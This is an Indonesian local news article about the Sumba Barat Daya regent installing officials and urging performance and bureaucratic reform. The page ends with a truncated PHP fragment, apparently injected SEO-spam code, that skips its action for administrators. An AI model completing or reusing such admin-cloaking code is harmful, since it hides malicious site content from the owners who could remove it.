Birokrasi

Penempatan Pejabat Didasari Pertimbangan dari Berbagai Aspek Sesuai Peraturan Perundang-undangan yang Berlaku

×

Penempatan Pejabat Didasari Pertimbangan dari Berbagai Aspek Sesuai Peraturan Perundang-undangan yang Berlaku

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Penempatan pejabat dilakukan atas dasar pertimbangan dari berbagai aspek, serta peraturan perundang-undangan yang berlaku.

Hal tersebut disampaikan Bupati SBD, Ratu Ngadu Bonu Wulla, ST dalam sambutannya saat melantik dan mengambil sumpah pejabat administrator serta pejabat pengawas di lingkungan Pemkab SBD, Kamis (05/06/2025).

Menurut bupati, kegiatan pelantikan dan mutasi pejabat di setiap instansi pemerintah adalah bagian dari kehidupan organisasi dalam rangka pemantapan dan peningkatan kapasitas kelembagaan.

“Ini juga merupakan bagian dari upaya penyelenggaraan dan peningkatan kinerja bagi para ASN,” ujar Ratu Wulla.

Oleh karena itu, hendaknya pelantikan dan mutasi ini dapat dimaknai terutama dari sudut kepentingan organisasi.

“Bukan sekedar penempatan figur pejabat pada jenjang jabatan dan kepentingan tertentu,” tegasnya.

“Melainkan lebih utama untuk melakukan pembenahan dan pemantapan organisasi untuk meningkatkan kinerja, penyelenggaraan tugas, dan pelayanan publik agar tetap berjalan terutama dalam kegiatan prioritas pembangunan di daerah,” katanya lebih lanjut.

Dirinya meminta para pejabat terlantik mensyukuri dan menjaga serta mengimbanginya dengan kejujuran, loyalitas, dedikasi, inovasi, serta prestasi dalam bekerja.

Untuk itu dibutuhkan suatu keseriusan, tanggung jawab moral, dan komitmen bersama bekerja maksimal dalam memberikan pelayanan terbaik bagi masyarakat Sumba Barat Daya.

“Saudara-saudari juga diutus untuk bekerja cerdas, berinovasi dan bersinergi dengan stakeholder terkait hingga masyarakat untuk melakukan percepatan pembangunan melalui program Bupati dan Wakil Bupati Sumba Barat Daya membangun desa menata kota,” imbaunya.

Untuk mencapai generasi emas 2045 dan mewujudkan birokrasi berkelas dunia, transformasi dalam sistem birokrasi harus dilaksanakan tiga agenda transformasi birokrasi.

Pertama, transformasi organisasi. Kedua, transformasi sistem kerja menjadi lebih fleksibel dan kolaboratif, dan ketiga, transformasi manajemen sumber daya manusia menuju human kapital yang tangguh.

“Untuk menghadapi transformasi tersebut, saya minta saudara-saudari yang terlantik pada hari ini agar memiliki sikap adaptif, meningkatkan kompetensi dan kemampuan, serta fokus pada tugas,” serunya lagi.

Dalam rangka penataan pegawai negeri sipil, Pemerintah Kabupaten Sumba Barat Daya melakukan percepatan pengisian jabatan untuk mendukung pelaksanaan tugas perangkat daerah, serta dalam rangka pengembangan karier melalui rotasi atau mutasi.

Bupati berharap para pejabat yang mengalami rotasi karena tuntutan kondisi organisasi, agar tetap melaksanakan tugas dengan sebaik-baiknya dan segera menyesuaikan diri dengan jabatan yang baru.

“Identifikasi permasalahan yang menghambat percepatan pencapaian target kinerja dan lakukan inovasi untuk mencapai target yang lebih optimal,” tandasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>